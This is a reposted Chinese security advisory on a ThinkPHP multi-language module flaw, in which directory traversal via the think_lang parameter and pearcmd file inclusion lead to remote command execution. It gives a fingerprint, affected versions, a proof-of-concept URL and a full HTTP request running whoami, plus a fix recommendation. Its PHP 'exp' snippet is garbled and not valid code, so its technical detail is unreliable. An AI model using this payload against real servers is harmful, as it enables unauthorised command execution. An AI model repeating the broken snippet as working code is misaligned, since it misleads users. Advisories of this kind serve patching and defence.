Thinkphp 多语言模块命令执行漏洞

admin 2022年12月12日12:56:52评论152 views字数 1361阅读4分32秒阅读模式

免责声明

由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


Thinkphp 多语言模块命令执行漏洞
Thinkphp 多语言模块命令执行漏洞

Thinkphp

Thinkphp 多语言模块命令执行漏洞
Thinkphp 多语言模块命令执行漏洞

01

漏洞描述

ThinkPHP 是一个快速、简单的面向对象的轻量级 PHP 开发框架,创立于2006年初,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。

如果 Thinkphp 程序开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

02

漏洞指纹


header="think_lang"


Thinkphp 多语言模块命令执行漏洞


03

影响范围


  • v6.0.0<=ThinkPHP<=v6.0.13

  • v5.0.0<=ThinkPHP<=5.0.12

  • v5.1.0<=ThinkPHP<=5.1.8


04

漏洞详情

# exppearcmd 文件包含方法
<?php$cmd = $_GET['cmd'];$p = pearcmd;$p -> run($cmd);
目录穿越http://127.0.0.1:8888/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami

可以通过 get、header、cookie 等位置传入参数实现目录穿越和文件包含,从而利用 pearcmd 文件包含实现远程命令执行


通过构造特定的 URL,可以实现目录穿越和文件包含,然后利用 pearcmd 文件包含实现远程命令执行。这个漏洞可以在影响范围内的 Thinkphp 版本中利用,前提是需要开启多语言功能。

GET /index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami HTTP/1.1Host: 127.0.0.1:8888User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0

05

修复建议

建议受影响的ThinkPHP客户尽快安装 ThinkPHP V6.0.14 或更高版本,下载链接:https://github.com/top-think/framework/releases/tag/v6.0.14

06

安全资讯WiKi

圈子一次进入永久免费66.6元子
Thinkphp 多语言模块命令执行漏洞

原文始发于微信公众号(夜组安全):Thinkphp 多语言模块命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月12日12:56:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Thinkphp 多语言模块命令执行漏洞https://cn-sec.com/archives/1457047.html

发表评论

匿名网友 填写信息